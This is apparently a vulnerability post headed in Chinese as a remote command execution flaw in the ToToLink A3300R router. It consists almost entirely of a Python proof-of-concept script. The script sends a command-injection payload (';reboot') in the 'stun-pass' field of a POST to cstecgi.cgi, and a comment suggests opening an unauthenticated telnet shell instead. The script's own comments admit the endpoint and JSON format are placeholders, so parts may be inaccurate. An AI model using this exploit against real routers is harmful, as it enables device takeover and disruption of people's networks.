CVE-2026-31170 ToToLink A3300R远程命令执行漏洞

import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Vulnerable payload: Injecting a command to reboot or create a reverse shell # Example payload: ;reboot or ;telnetd -p 2323 -l /bin/sh payload = ";reboot" # Data structure based on common TOTOLINK CGI requests # Note: The exact JSON format may vary, 'stun-pass' is the vulnerable parameter data = { "topicurl": "set_stun_cfg", # Placeholder action, actual endpoint logic may differ "stun-pass": payload } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)" } try: # Send POST request to trigger the vulnerability response = requests.post(url, json=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if device rebooted or command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")